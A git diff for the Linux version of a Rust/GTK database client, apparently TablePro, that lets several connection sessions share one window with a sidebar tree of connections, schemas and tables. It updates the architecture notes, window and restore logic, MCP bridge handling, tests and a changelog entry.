 create mode 100644 linux/crates/app/src/ui/workspace/sidebar/tree_menu.rs
 create mode 100644 linux/crates/app/src/ui/workspace/sidebar/tree_node.rs
 create mode 100644 linux/crates/app/src/ui/workspace/sidebar/tree_row.rs
 create mode 100644 linux/crates/app/src/ui/workspace/tests/sessions.rs
 create mode 100644 linux/crates/app/src/ui/workspace/tests/shell.rs
 create mode 100644 linux/crates/app/src/ui/workspace/workspace_shell.rs
 create mode 100644 linux/crates/app/src/ui/workspace/workspace_shell_imp.rs
 create mode 100644 linux/data/resources/ui/workspace-shell.ui
 create mode 100644 linux/docs/decisions/0028-sessions-share-a-window.md

diff --git a/linux/ARCHITECTURE.md b/linux/ARCHITECTURE.md
index 329db679cb..c834704b6d 100644
--- a/linux/ARCHITECTURE.md
+++ b/linux/ARCHITECTURE.md
@@ -111,7 +111,7 @@ One second runtime remains. Relm4 runs a component's commands (`sender.command`,
 
 ### Restoring sessions and opening files
 
-`OpenSessions` (`crates/app/src/workspace/open_sessions.rs`) records the session each window adopts, a file or a saved connection, and drops it on a disconnect or a closed window. With the `restore-session` key on (the default, under Preferences), the first activate of a launch reads the record under a hold, opens a window for each session in it with `WindowLaunch::Restore`, then opens the files handed over while it read, or the picker when that opens nothing. A restored saved connection is looked up in the list again, and one deleted since says so in a toast. With the key off, the first activate opens the picker.
+`OpenSessions` (`crates/app/src/workspace/open_sessions.rs`) records the sessions each window adopts, a file or a saved connection, grouped by the window that holds them, and drops one on a disconnect or a closed window. With the `restore-session` key on (the default, under Preferences), the first activate of a launch reads the record under a hold, opens a window for each recorded window with `WindowLaunch::Restore`, then opens the files handed over while it read, or the picker when that opens nothing. The window connects every recorded session at once. A restored saved connection is looked up in the list again, and one deleted since says so in a toast. With the key off, the first activate opens the picker.
 
 A quit freezes the record before it asks the first window, so each window it closes stays on it, and writes it before the process may end. An approved quit then empties the list in memory; a cancelled one keeps only the windows still showing or connecting their session. Shutdown freezes it too: windows that go with the process are not the user closing them. An approved quit can leave the process running while a session closes, and an activate that reaches it then restores the record as a new launch would.
 
@@ -119,17 +119,17 @@ Files come from Open With in a file manager or from the command line (`HANDLES_O
 
 ## Windows and sessions
 
-Each window is a `SessionWindow` (`crates/app/src/ui/session_window/`) for one connection session ([ADR 0012](docs/decisions/0012-window-per-session.md)). Its `SessionPage` is the picker of saved connections, the connect while it runs, the failure when it fails, or the session's `Workspace`. Every picker's `WelcomeView` binds the one `SavedConnectionList` that `AppServices` builds, which follows the list the `ConnectionStore` publishes after each write, so a save, a connect's last-opened stamp, an edit or a delete in any window reaches every picker. A row's menu and its `picker` actions name the connection by id and read it from the list again when they run. Every page past the picker holds the `SessionClaim` on the session's key, so leaving the page releases it.
+Each window is a `SessionWindow` (`crates/app/src/ui/session_window/`) for its connection sessions ([ADR 0012](docs/decisions/0012-window-per-session.md), [ADR 0028](docs/decisions/0028-sessions-share-a-window.md)). It keeps a list of open sessions and a list of connects in progress, and its `SessionPage` follows from them: the `WorkspaceShell` with a `Workspace` per open session while any is open, else the first connect's progress, else the last failure, else the picker of saved connections. Every connect, from the picker, the connection tree, the connect dialog, a file, a restore or MCP, takes the same path and joins the window's sessions when it lands. A failure while other sessions are open is a toast with a Details button, whose dialog offers the remedy, and the tree's row keeps the reason. Every picker's `WelcomeView` binds the one `SavedConnectionList` that `AppServices` builds, which follows the list the `ConnectionStore` publishes after each write, so a save, a connect's last-opened stamp, an edit or a delete in any window reaches every picker. A row's menu and its `picker` actions name the connection by id and read it from the list again when they run. An open session, a connect in progress and the failed page each hold the `SessionClaim` on their key, so dropping one releases it.
 
 - A connect claims the key in the `SessionRegistry` before it starts, so a second window asking for the same database brings the first forward. The connect runs on `Tasks` under a cancel token, and a result for an attempt the user cancelled or replaced is closed instead of adopted.
 - Adopting a connected session starts its `Session`, attaches it to the claim, which `SessionSignals` hears through the registry, records the key in `OpenSessions` and builds the `Workspace`.
-- A workspace never moves to another session. Disconnect asks the close prompts, then `tear_down` writes what the workspace shows, takes its editor sessions, shuts the workspace down, drops the claim and the record's key, and closes the session and those editor sessions under one hold before the window returns to the picker. An approved close runs the same teardown.
+- A workspace never moves to another session. Disconnect asks the close prompts of the session in front, or of the one the tree names, then `tear_down_session` writes what its workspace shows, takes its editor sessions, shuts the workspace down, drops the claim and the record's key, and closes the session and those editor sessions under one hold. When the last one goes, a connect still running shows on the connecting page; with none, the window returns to the picker. The window's close asks one Save Changes? across every session, and an approved close runs the same teardown for each.
 - The close prompts (`CloseGuards`) belong to the window, so a tab's close, the close button and Ctrl+W ask on every page, one prompt at a time. While the workspace has something a logout would lose, a `WindowInhibitor` holds logout back, and suspend too while a save or an export runs.
-- The window's actions (`disconnect`, `reconnect`, `close-current` and the rest) go on its own action map, which GTK exports as `win`.
+- The window's actions (`disconnect`, `reconnect`, `close-current` and the rest) go on its own action map, which GTK exports as `win`. The ones the tree's rows fire, such as `disconnect-session` and `show-session`, take the session's key as a string target (`crate::ui::session_target`).
 - When a run, a save or an export ends in a tab the user is not looking at, the window's `WorkNotifier` sends a desktop notification through `GApplication`: one per tab, with no time threshold, as GNOME Console does. A tab counts as looked at while the window is active and the tab is in front. The notification names the tab and the connection only, since it can show on the lock screen, so an editor tab goes by its number rather than its script. Clicking it runs `app.focus-tab`, which brings the tab forward in its window. It is withdrawn once the tab is in front of an active window, when the tab closes, and when the session goes. A save that settles while a close prompt covering its tab decides is not notified: the prompt waited for it in front of the user, and then closes the tab or asks about it again.
 - The window's content is the page itself, never a wrapper, and is at least 360 by 294 pixels. Each page has its own header bars and its own `AdwToastOverlay`, and the window's toasts go to the page on screen. The main menu comes from `data/resources/gtk/menus.ui`, which `GtkApplication` loads at startup.
 
-The `Workspace` (`crates/app/src/ui/workspace/`) shows one session: the sidebar of its objects, the tab view and the banners. Its template puts the `AdwTabOverview` at the root, as libadwaita expects, around an `AdwBreakpointBin` with an `AdwOverlaySplitView`: the sidebar and the tabs each have their own header bar. Below 600sp the sidebar collapses into an overlay, and below 450sp an `AdwTabButton` takes the tab bar's place. The `show-sidebar` window action and F9 show and hide the sidebar. It adds its own actions to the window and removes them when it shuts down, follows the session's health and object list through `WatchForwarder`s, and tells the window what it shows through its `title-changed`, `dirty-changed`, `saves-in-flight-changed`, `work-completed` and `tabs-changed` signals. Its `WorkspaceHandle` runs the saves and tells the close prompts what closing any part of it would lose. Its `ExportLedger` writes exports off the GTK thread: the rows are encoded on the runtime and GIO writes them. An export takes the rows a grid holds, or every row of a table or an editor statement, streamed through `Connection::stream_read` on a read-only connection of its own with no deadline. `ReplaceFileWriter` removes a file the export made when it stops or fails. An existing regular file gets a temporary file beside it, renamed over it at the end, so a stopped export leaves it as it was. GLib truncates a symbolic link's target, a hard-linked file or a file in a folder that refuses the temporary file when the export opens it, and a stopped export then says that file is incomplete. [Workspace tab system](#workspace-tab-system) covers its tabs, and [Sessions and health](#sessions-and-health) the `Session` itself.
+The `WorkspaceShell` (`crates/app/src/ui/workspace/workspace_shell.rs`) is what a window has once: the connection tree in the sidebar, the one tab view every session's tabs share, the header bars, the assistant's column and the toasts. Its `front` property is the session of the tab in front, or with no tab the newest session or the one last shown, and the session in front speaks for the window: the header bars, the window title, its banners, its assistant pane and the window's actions read it through bindings. The `Workspace` (`crates/app/src/ui/workspace/`) is one session: its sidebar model, which the tree shows as one list per schema and a search as one flat list of what it found, its tabs, its banners and its assistant pane, and the `title`, `subtitle`, `window-title` and `icon-name` properties the shell binds. The shell's template puts the `AdwTabOverview` at the root, as libadwaita expects, around an `AdwBreakpointBin` with an `AdwOverlaySplitView`: the sidebar and the tabs each have their own header bar. Below 600sp the sidebar collapses into an overlay, and below 450sp an `AdwTabButton` takes the tab bar's place. The `show-sidebar` window action and F9 show and hide the sidebar. The shell adds the window's workspace actions once, each sent to the session in front, and removes them when it shuts down. A workspace follows its session's health and object list through `WatchForwarder`s and tells the window what it holds through its `dirty-changed`, `saves-in-flight-changed`, `work-completed` and `tabs-changed` signals. Its `WorkspaceHandle` runs the saves and tells the close prompts what closing any part of it would lose. Its `ExportLedger` writes exports off the GTK thread: the rows are encoded on the runtime and GIO writes them. An export takes the rows a grid holds, or every row of a table or an editor statement, streamed through `Connection::stream_read` on a read-only connection of its own with no deadline. `ReplaceFileWriter` removes a file the export made when it stops or fails. An existing regular file gets a temporary file beside it, renamed over it at the end, so a stopped export leaves it as it was. GLib truncates a symbolic link's target, a hard-linked file or a file in a folder that refuses the temporary file when the export opens it, and a stopped export then says that file is incomplete. [Workspace tab system](#workspace-tab-system) covers its tabs, and [Sessions and health](#sessions-and-health) the `Session` itself.
 
 ## UI architecture
 
@@ -291,7 +291,7 @@ A window holds one `Session`. Every use of its connection goes through the `Oper
 
 The application tells each session what its connection cannot see. When `GNetworkMonitor` reports a change, and when a window adopts a session, it asks whether that session's server, or its first SSH hop, is reachable; a file, a socket and a loopback server are never asked about. A session that loses a server the network cannot reach waits offline, checking every 60 s, and reconnects as soon as the server is reachable again. While a session is open, a 5 s timer compares `CLOCK_BOOTTIME` with `CLOCK_MONOTONIC`, and after a suspend each server is checked again and a session that slept more than 30 s probes its connection. A session parked on an SSH host key keeps the error that parked it, and its banner's Review Key shows the fingerprint. Trusting it retries with ssh's question about that one key answered yes, so ssh still checks the key and writes known_hosts; a changed key is first removed with `ssh-keygen -R`, since ssh never accepts one. When the review cannot accept the key, because ssh's configuration takes keys only from known_hosts or the key is revoked, its dialog offers Retry for after the user fixes the key outside TablePro.
 
-The session's `SchemaCatalog` holds what the window knows about the database: the schemas, each scope's objects and each table's columns. Callers that ask for the same thing at once share one fetch, a fetch runs as its own task so a view that closes does not stop it, and a failed refresh keeps the list it had. A reconnect commits the catalog the new connection read and marks the rest stale; `invalidate_table` does the same for one table after a schema change. The sidebar shows every schema's tables and views in one `GtkListView` that recycles its rows, a section per schema with the default one first and the engine's own last, and one menu whose items carry the table they act on. Its rows come from a `SidebarIndex`, sorted by collation key and given its search keys on a blocking thread, behind a `GListModel` and `GtkSectionModel` that makes a row's object only when the list view asks for it. Each search, and each new list, picks the rows it keeps on a blocking thread too, and the list takes them in one change unless a newer search or list overtook them. It follows every schema's list through a watch the window drops before the session closes, and reads that list again when a reconnect commits the default schema's; a refresh that fails keeps the list and says so in a toast. The editor's completion reads the catalog when it opens: the default schema's objects, a named schema's objects after `schema.`, and the columns of the tables the statement names. Its candidates are built with that read on the runtime, and its `ProposalList` ranks them for the typed word and makes a proposal only for a row GtkSourceView shows. Either list thus costs the GTK thread the rows on screen, not the catalog, which the large-catalog case checks with 50,000 tables ([testing.md](docs/testing.md#large-catalog-case)).
+The session's `SchemaCatalog` holds what the window knows about the database: the schemas, each scope's objects and each table's columns. Callers that ask for the same thing at once share one fetch, a fetch runs as its own task so a view that closes does not stop it, and a failed refresh keeps the list it had. A reconnect commits the catalog the new connection read and marks the rest stale; `invalidate_table` does the same for one table after a schema change. The sidebar's tree lists an open connection's schemas, the default one first and the engine's own last, and each schema's tables and views, with one menu whose items carry the table they act on. Its rows come from a `SidebarIndex`, sorted by collation key and given its search keys on a blocking thread, behind a `GListModel` that makes a row's object only when asked for it; `GtkTreeListModel` asks for every table of a schema it opens. Each search, and each new list, picks the rows it keeps on a blocking thread too. What a search finds is a flat `GtkListView`, a section per schema in a `GtkFlattenListModel` that reads only the rows on screen, and it takes a search's rows in one removal and one addition unless a newer search or list overtook them. It follows every schema's list through a watch the window drops before the session closes, and reads that list again when a reconnect commits the default schema's; a refresh that fails keeps the list and says so in a toast. The editor's completion reads the catalog when it opens: the default schema's objects, a named schema's objects after `schema.`, and the columns of the tables the statement names. Its candidates are built with that read on the runtime, and its `ProposalList` ranks them for the typed word and makes a proposal only for a row GtkSourceView shows. Either list thus costs the GTK thread the rows on screen, not the catalog, which the large-catalog case checks with 50,000 tables ([testing.md](docs/testing.md#large-catalog-case)).
 
 ## Workspace tab system
 
diff --git a/linux/changelog.d/3856.added.md b/linux/changelog.d/3856.added.md
new file mode 100644
index 0000000000..2333f96fe1
--- /dev/null
+++ b/linux/changelog.d/3856.added.md
@@ -0,0 +1 @@
+Several connections open in one window, listed in a sidebar tree of groups, connections, schemas and tables.
diff --git a/linux/crates/app/src/application/accelerators.rs b/linux/crates/app/src/application/accelerators.rs
index 7ab075cf21..bd9a9bcc61 100644
--- a/linux/crates/app/src/application/accelerators.rs
+++ b/linux/crates/app/src/application/accelerators.rs
@@ -7,8 +7,8 @@ use super::{Accelerator, AcceleratorScope, ShortcutListing, ShortcutOwner, Short
 use AcceleratorScope::{Application, Component, Local, Stock};
 use ShortcutListing::{Listed, Unlisted};
 use ShortcutOwner::{
-    AssistantComposer, BrowseTab, CellEditor, DiagramCanvas, DiagramTab, FilterStrip, Grid, GridCell, HistoryRow,
-    InlineSuggestion, PickerPage, PickerRow, SidebarList, SqlEditor, SqlEditorCursors, SqlEditorTab, StructureTab,
+    AssistantComposer, BrowseTab, CellEditor, ConnectionTree, DiagramCanvas, DiagramTab, FilterStrip, Grid, GridCell,
+    HistoryRow, InlineSuggestion, PickerPage, PickerRow, SqlEditor, SqlEditorCursors, SqlEditorTab, StructureTab,
 };
 use ShortcutSection::{BrowseTable, DataGrid, ErDiagram, General, TableStructure, Tabs};
 
@@ -392,9 +392,9 @@ pub const ACCELERATORS: &[Accelerator] = &[
     ),
     local(FilterStrip, BUBBLE, "filter.close", &["Escape"], Unlisted),
     local(
-        SidebarList,
+        ConnectionTree,
         BUBBLE,
-        "sidebar.context-menu",
+        "tree.context-menu",
         &["Menu", "<Shift>F10"],
         Unlisted,
     ),
@@ -535,7 +535,7 @@ pub const fn controller_name(owner: ShortcutOwner) -> &'static str {
         SqlEditorTab => "tablepro-sql-editor-tab-shortcuts",
         StructureTab => "tablepro-structure-tab-shortcuts",
         FilterStrip => "tablepro-filter-strip-shortcuts",
-        SidebarList => "tablepro-sidebar-list-shortcuts",
+        ConnectionTree => "tablepro-connection-tree-shortcuts",
         HistoryRow => "tablepro-history-row-shortcuts",
         PickerRow => "tablepro-picker-row-shortcuts",
         DiagramTab => "tablepro-diagram-tab-shortcuts",
diff --git a/linux/crates/app/src/application/app_window_host.rs b/linux/crates/app/src/application/app_window_host.rs
index 0d11383211..44e120b0c4 100644
--- a/linux/crates/app/src/application/app_window_host.rs
+++ b/linux/crates/app/src/application/app_window_host.rs
@@ -1,8 +1,8 @@
-use gtk4 as gtk;
 use gtk4::glib;
 use gtk4::prelude::*;
+use tablepro_session::SessionKey;
 
-use super::{TableProApplication, WindowHost, WindowLaunch};
+use super::{TableProApplication, WindowHost};
 
 /// The application keeps every window's controller, so a window that
 /// held it strongly would keep it alive past its own shutdown.
@@ -18,17 +18,9 @@ impl AppWindowHost {
 }
 
 impl WindowHost for AppWindowHost {
-    fn present_window(&self, window_id: u32) -> bool {
-        self.app.upgrade().is_some_and(|app| app.present_window(window_id))
-    }
-
-    fn open_window(&self, launch: WindowLaunch) {
-        if let Some(app) = self.app.upgrade() {
-            app.open_window(launch);
-        }
-    }
-
-    fn application(&self) -> Option<gtk::Application> {
-        self.app.upgrade().map(|app| app.upcast())
+    fn present_session(&self, window_id: u32, key: &SessionKey) -> bool {
+        self.app
+            .upgrade()
+            .is_some_and(|app| app.present_session(window_id, key))
     }
 }
diff --git a/linux/crates/app/src/application/mcp_bridge.rs b/linux/crates/app/src/application/mcp_bridge.rs
index ce6f1c64e3..fc35e500c5 100644
--- a/linux/crates/app/src/application/mcp_bridge.rs
+++ b/linux/crates/app/src/application/mcp_bridge.rs
@@ -150,7 +150,9 @@ fn answer(app: &TableProApplication, request: McpRequest) {
 
 /// Open the connection the way the picker does: in the window that has
 /// it, in the active window while it only shows the picker, or in a new
-/// window. Every prompt the connect needs shows there.
+/// window. Every prompt the connect needs shows there. An agent's connect
+/// never joins the sessions the user works in, where it would take the
+/// front and the window's actions.
 fn open(
     app: &TableProApplication,
     services: &AppServices,
@@ -179,7 +181,7 @@ fn open(
             }
         }
         // A failed connect keeps its claim, and its window says why.
-        Some(window_id) if !app.imp().windows.keeps_session(window_id) => {
+        Some(window_id) if !app.imp().windows.keeps_session(window_id, &key) => {
             app.present_window(window_id);
             let _ = reply.send(OpenOutcome::Closed);
             return;
@@ -201,7 +203,7 @@ fn open(
                 break OpenOutcome::Closed;
             };
             match sessions.window_for(&key) {
-                Some(window_id) if app.imp().windows.keeps_session(window_id) => claimed = true,
+                Some(window_id) if app.imp().windows.keeps_session(window_id, &key) => claimed = true,
                 Some(_) => break OpenOutcome::Closed,
                 None if claimed => break OpenOutcome::Closed,
                 None => {}
@@ -230,16 +232,17 @@ fn approve(
     approval: WriteApproval,
     mut reply: oneshot::Sender<bool>,
 ) {
-    let window = services
-        .sessions
-        .window_for(&SessionKey::Saved(approval.connection_id))
-        .and_then(|id| app.window_by_id(id));
-    let Some(window) = window else {
+    let key = SessionKey::Saved(approval.connection_id);
+    let owner = services.sessions.window_for(&key);
+    let window = owner.and_then(|id| app.window_by_id(id));
+    let (Some(owner), Some(window)) = (owner, window) else {
         let _ = reply.send(false);
         return;
     };
     let confirmation = WriteConfirmation::external(&approval.connection_name, &approval.sql, approval.destructive);
-    window.present();
+    // The question comes over the connection it is about, which may be
+    // behind another session of the window.
+    app.present_session(owner, &key);
     glib::spawn_future_local(async move {
         let asked = approval.cancel.child_token();
         let parent: gtk4::Widget = window.upcast();
diff --git a/linux/crates/app/src/application/mod.rs b/linux/crates/app/src/application/mod.rs
index 6d95316095..c733364ac0 100644
--- a/linux/crates/app/src/application/mod.rs
+++ b/linux/crates/app/src/application/mod.rs
@@ -120,6 +120,14 @@ impl TableProApplication {
         true
     }
 
+    /// Bring the window forward with the session under `key` in front.
+    pub fn present_session(&self, window_id: u32, key: &SessionKey) -> bool {
+        if let Some(input) = self.imp().windows.sender(window_id) {
+            crate::runtime::DeliverInput::deliver(&input, crate::ui::SessionWindowInput::ShowSession(key.clone()));
+        }
+        self.present_window(window_id)
+    }
+
     /// What activate and the new-window action open: the sessions open
     /// at the last quit the first time, a picker after. A picker opened
     /// first would write its session over the ones still to reopen.
@@ -158,25 +166,34 @@ impl TableProApplication {
             // A quit approved during the read leaves the record for the
             // next launch and opens nothing.
             if app.imp().restore.get() == imp::RestoreState::Loading {
-                let keys = match loaded {
+                let windows = match loaded {
                     OpenSessionsLoad::Restored(record) => services.open_sessions().restore(record),
                     OpenSessionsLoad::Empty => Vec::new(),
                 };
                 app.imp().restore.set(imp::RestoreState::Done);
-                app.finish_restore(keys);
+                app.finish_restore(windows);
             }
             drop(hold);
         });
         imp.restoring.replace(Some(restoring));
     }
 
-    fn finish_restore(&self, keys: Vec<SessionKey>) {
+    /// One window for each recorded group of keys. Each group's keys are
+    /// filed under its window as soon as the window has an id, so the
+    /// record never groups them under a window that is gone.
+    fn finish_restore(&self, windows: Vec<Vec<SessionKey>>) {
         let files = self.imp().pending_files.take();
-        if keys.is_empty() && files.is_empty() {
+        if windows.is_empty() && files.is_empty() {
             self.open_window(WindowLaunch::Picker);
         }
-        for key in keys {
-            self.open_window(WindowLaunch::Restore(key));
+        let open_sessions = self.services().map(|services| services.open_sessions().clone());
+        for keys in windows {
+            let Some(window) = self.open_window(WindowLaunch::Restore(keys.clone())) else {
+                continue;
+            };
+            if let Some(open_sessions) = &open_sessions {
+                open_sessions.assign(&keys, window.id());
+            }
         }
         self.open_files(&files);
     }
diff --git a/linux/crates/app/src/application/open_files.rs b/linux/crates/app/src/application/open_files.rs
index 4996de17cf..321b4c1e30 100644
--- a/linux/crates/app/src/application/open_files.rs
+++ b/linux/crates/app/src/application/open_files.rs
@@ -44,8 +44,9 @@ impl TableProApplication {
     }
 
     fn place_file(&self, file: gio::File, key: Option<SessionKey>) {
-        let owner = key.and_then(|key| self.services()?.sessions.window_for(&key));
-        if owner.is_some_and(|owner| self.present_window(owner)) {
+        // The owner may show another of its sessions in front.
+        let owner = key.and_then(|key| Some((self.services()?.sessions.window_for(&key)?, key)));
+        if owner.is_some_and(|(owner, key)| self.present_session(owner, &key)) {
             return;
         }
         let idle = self
diff --git a/linux/crates/app/src/application/quit_sequence.rs b/linux/crates/app/src/application/quit_sequence.rs
index b7c683a7bc..eda3b04163 100644
--- a/linux/crates/app/src/application/quit_sequence.rs
+++ b/linux/crates/app/src/application/quit_sequence.rs
@@ -18,8 +18,8 @@ use crate::workspace::{CloseDecision, CloseReason};
 ///
 /// The open sessions stay recorded through the quit, so the next launch
 /// reopens the windows it closes. The record is written before the
-/// process may end, and a cancelled quit keeps only the windows still
-/// showing or connecting their session.
+/// process may end, and a cancelled quit keeps only the sessions a
+/// window still shows or connects.
 ///
 /// An approved quit can leave the process running with no window while
 /// a session closes, and a second launch then activates it. That
@@ -56,7 +56,7 @@ impl QuitSequence {
                     services
                         .sessions
                         .window_for(key)
-                        .is_some_and(|window_id| app.imp().windows.keeps_session(window_id))
+                        .is_some_and(|window_id| app.imp().windows.keeps_session(window_id, key))
                 }),
             }
         }
diff --git a/linux/crates/app/src/application/shortcut_owner.rs b/linux/crates/app/src/application/shortcut_owner.rs
index dc2624aa4b..5dd720720a 100644
--- a/linux/crates/app/src/application/shortcut_owner.rs
+++ b/linux/crates/app/src/application/shortcut_owner.rs
@@ -16,8 +16,8 @@ pub enum ShortcutOwner {
     SqlEditorTab,
     StructureTab,
     FilterStrip,
-    /// A row of the sidebar's table list.
-    SidebarList,
+    /// A row of the window's connection tree.
+    ConnectionTree,
     /// A row of the query history dialog.
     HistoryRow,
     /// A saved connection's row in the picker.
diff --git a/linux/crates/app/src/application/tests.rs b/linux/crates/app/src/application/tests.rs
index d911e6a6fd..77777854cc 100644
--- a/linux/crates/app/src/application/tests.rs
+++ b/linux/crates/app/src/application/tests.rs
@@ -133,22 +133,34 @@ impl TestApp {
             .join(OpenSessionsRecord::FILE_NAME)
     }
 
-    /// Write `keys` as the sessions open at the last quit.
+    /// Write `keys` as the sessions open at the last quit, each in a
+    /// window of its own.
     fn record(&self, keys: &[SessionKey]) {
+        self.record_windows(keys.iter().map(std::slice::from_ref));
+    }
+
+    /// Write each group of keys as one window's sessions at the last quit.
+    fn record_windows<'a>(&self, windows: impl IntoIterator<Item = &'a [SessionKey]>) {
         let path = self.record_path();
         std::fs::create_dir_all(path.parent().expect("a parent")).expect("the workspaces directory");
-        let bytes = encode_document(&OpenSessionsRecord::from_keys(keys)).expect("encode");
+        let bytes = encode_document(&OpenSessionsRecord::from_windows(windows)).expect("encode");
         std::fs::write(&path, bytes).expect("write the record");
     }
 
     /// The sessions recorded on disk, once every write has landed.
     fn recorded(&self) -> Vec<SessionKey> {
+        self.recorded_windows().into_iter().flatten().collect()
+    }
+
+    /// The sessions recorded on disk by window, once every write has
+    /// landed.
+    fn recorded_windows(&self) -> Vec<Vec<SessionKey>> {
         finish_on_main(WAIT, self.services().open_sessions().settled()).expect("the writes to land");
         let path = self.record_path();
         let bytes = std::fs::read(&path).expect("the record");
         decode_document::<OpenSessionsRecord>(&path, &bytes)
             .expect("a record")
-            .keys()
+            .windows()
     }
 
     /// The window that claims `key`.
@@ -177,7 +189,7 @@ impl TestApp {
         quit
     }
 
-    /// Wait for every key to show its workspace in a window of its own.
+    /// Wait for every key to show its workspace in a window.
     fn wait_for_sessions(&self, keys: &[SessionKey]) {
         let services = self.services();
         wait_until(WAIT, || {
@@ -336,6 +348,52 @@ fn activate_restores_the_recorded_sessions_in_order() {
     assert_eq!(services.open_sessions().keys(), [first, second]);
 }
 
+#[gtk4::test]
+fn activate_restores_a_recorded_window_with_all_its_sessions() {
+    let test = TestApp::started("RestoreShared");
+    let (first, second) = (test.database("first.db"), test.database("second.db"));
+    let shared = [first.clone(), second.clone()];
+    test.record_windows([&shared[..]]);
+
+    test.app.activate();
+    test.wait_for_sessions(&shared);
+
+    let services = test.services();
+    let ids = [&first, &second].map(|key| services.sessions.window_for(key).expect("a window"));
+    assert_eq!(ids[0], ids[1], "the recorded window's sessions opened apart");
+    assert_eq!(test.app.windows().len(), 1, "a window opened beside the restored one");
+    assert_eq!(test.recorded_windows(), [shared.to_vec()]);
+}
+
+/// Opening a file that a window holds behind another of its sessions
+/// brings that session forward, not only its window.
+#[gtk4::test]
+fn opening_a_file_held_behind_another_session_brings_that_session_forward() {
+    let test = TestApp::started("OpenHeldBehind");
+    let (first, second) = (test.database("first.db"), test.database("second.db"));
+    let shared = [first.clone(), second.clone()];
+    test.record_windows([&shared[..]]);
+    test.app.activate();
+    test.wait_for_sessions(&shared);
+    let window = test
+        .app
+        .active_window()
+        .and_downcast::<SessionWindow>()
+        .expect("the restored window");
+    let shell = window.shell().expect("the shell");
+    let front_key = || shell.front().and_then(|front| front.key());
+    window.send(crate::ui::SessionWindowInput::NewQueryIn(second.clone()));
+    wait_until(WAIT, || front_key().as_ref() == Some(&second)).expect("the second session in front with a tab");
+    let SessionKey::File(uri) = &first else {
+        unreachable!("a database file opens as a file key");
+    };
+
+    test.app.open(&[gio::File::for_uri(uri)], "");
+
+    wait_until(WAIT, || front_key().as_ref() == Some(&first)).expect("the file's session in front");
+    assert_eq!(test.app.windows().len(), 1, "the file opened another window");
+}
+
 #[gtk4::test]
 fn activate_restores_nothing_when_restore_session_false() {
     let test = TestApp::started("NoRestore");
@@ -948,6 +1006,32 @@ mod mcp {
         assert_eq!(open, [id]);
     }
 
+    #[gtk4::test]
+    fn a_client_opens_a_second_connection_in_a_window_of_its_own() {
+        let test = TestApp::started("McpApart");
+        let host = test.app.answer_mcp(&test.services());
+        let (first, second) = (
+            saved_file(&test, "shop.db", ExternalAccess::ReadOnly),
+            saved_file(&test, "stock.db", ExternalAccess::ReadOnly),
+        );
+
+        let opened_first = opened(&test, &host, &first);
+        let opened_second = opened(&test, &host, &second);
+
+        assert!(matches!(opened_first, OpenOutcome::Open(_)), "{opened_first:?}");
+        assert!(matches!(opened_second, OpenOutcome::Open(_)), "{opened_second:?}");
+        assert_eq!(
+            test.app.windows().len(),
+            2,
+            "the agent's connection joined the sessions the user works in"
+        );
+        let services = test.services();
+        assert_ne!(
+            services.sessions.window_for(&SessionKey::Saved(first.id)),
+            services.sessions.window_for(&SessionKey::Saved(second.id))
+        );
+    }
+
     #[gtk4::test]
     fn a_failed_connect_answers_closed_at_once_and_keeps_its_window() {
         let test = TestApp::started("McpFailed");
diff --git a/linux/crates/app/src/application/window_host.rs b/linux/crates/app/src/application/window_host.rs
index e4a0876b66..9661933872 100644
--- a/linux/crates/app/src/application/window_host.rs
+++ b/linux/crates/app/src/application/window_host.rs
@@ -1,13 +1,9 @@
-use gtk4 as gtk;
-
-use super::WindowLaunch;
+use tablepro_session::SessionKey;
 
 /// What a window may ask of the application that hosts it, so a window
 /// reaches the others without holding the application.
 pub trait WindowHost {
-    /// False when no window has that id any more.
-    fn present_window(&self, window_id: u32) -> bool;
-    fn open_window(&self, launch: WindowLaunch);
-    /// `None` once the application is gone.
-    fn application(&self) -> Option<gtk::Application>;
+    /// Bring the window forward with the session under `key` in front
+    /// of the others it holds. False when no window has that id.
+    fn present_session(&self, window_id: u32, key: &SessionKey) -> bool;
 }
diff --git a/linux/crates/app/src/application/window_launch.rs b/linux/crates/app/src/application/window_launch.rs
index de1311351a..e2248eb685 100644
--- a/linux/crates/app/src/application/window_launch.rs
+++ b/linux/crates/app/src/application/window_launch.rs
@@ -8,6 +8,7 @@ pub enum WindowLaunch {
     Connect(Box<SavedConnection>),
     /// A database file, from the file manager or the command line.
     OpenFile(gio::File),
-    /// A session that was open when the application last quit.
-    Restore(SessionKey),
+    /// The sessions one window held when the application last quit, in
+    /// the order it adopted them.
+    Restore(Vec<SessionKey>),
 }
diff --git a/linux/crates/app/src/application/window_registry.rs b/linux/crates/app/src/application/window_registry.rs
index c094d1d328..d69e828559 100644
--- a/linux/crates/app/src/application/window_registry.rs
+++ b/linux/crates/app/src/application/window_registry.rs
@@ -1,6 +1,8 @@
 use std::cell::RefCell;
 use std::collections::HashMap;
 
+use tablepro_session::SessionKey;
+
 use crate::runtime::InputSender;
 use crate::ui::{SessionWindow, SessionWindowInput};
 
@@ -33,8 +35,12 @@ impl WindowRegistry {
         self.windows.borrow().get(&id).is_some_and(SessionWindow::is_inhibiting)
     }
 
-    pub(crate) fn keeps_session(&self, id: u32) -> bool {
-        self.windows.borrow().get(&id).is_some_and(SessionWindow::keeps_session)
+    /// Whether the window shows the session under `key` or connects it.
+    pub(crate) fn keeps_session(&self, id: u32, key: &SessionKey) -> bool {
+        self.windows
+            .borrow()
+            .get(&id)
+            .is_some_and(|window| window.keeps_session(key))
     }
 
     #[cfg(test)]
diff --git a/linux/crates/app/src/services/connection_search.rs b/linux/crates/app/src/services/connection_search.rs
index 210cc80e5d..2f27dc1e9f 100644
--- a/linux/crates/app/src/services/connection_search.rs
+++ b/linux/crates/app/src/services/connection_search.rs
@@ -20,6 +20,13 @@ impl ConnectionSearch {
         self.terms.is_empty()
     }
 
+    /// Whether every word is in `name`, in any case: a connection the
+    /// window opened that no saved connection describes has only that.
+    pub(crate) fn matches_name(&self, name: &str) -> bool {
+        let name = name.to_lowercase();
+        self.terms.iter().all(|term| name.contains(term.as_str()))
+    }
+
     /// Whether every word is in the connection's name, where it
     /// connects, its driver, its group or one of its tags' names, in any
     /// case. `tags` is the list's, to read the names of `saved`'s from.
@@ -126,6 +133,8 @@ mod tests {
             assert_eq!(ConnectionSearch::new(text).matches(&acme, &tags), shown, "{text:?}");
         }
         assert!(ConnectionSearch::new(" \t ").is_empty());
+        assert!(ConnectionSearch::new("SALES db").matches_name("sales.db"));
+        assert!(!ConnectionSearch::new("sales crm").matches_name("sales.db"));
         assert_eq!(ConnectionSearch::new("a  B"), ConnectionSearch::new("A b"));
     }
 }
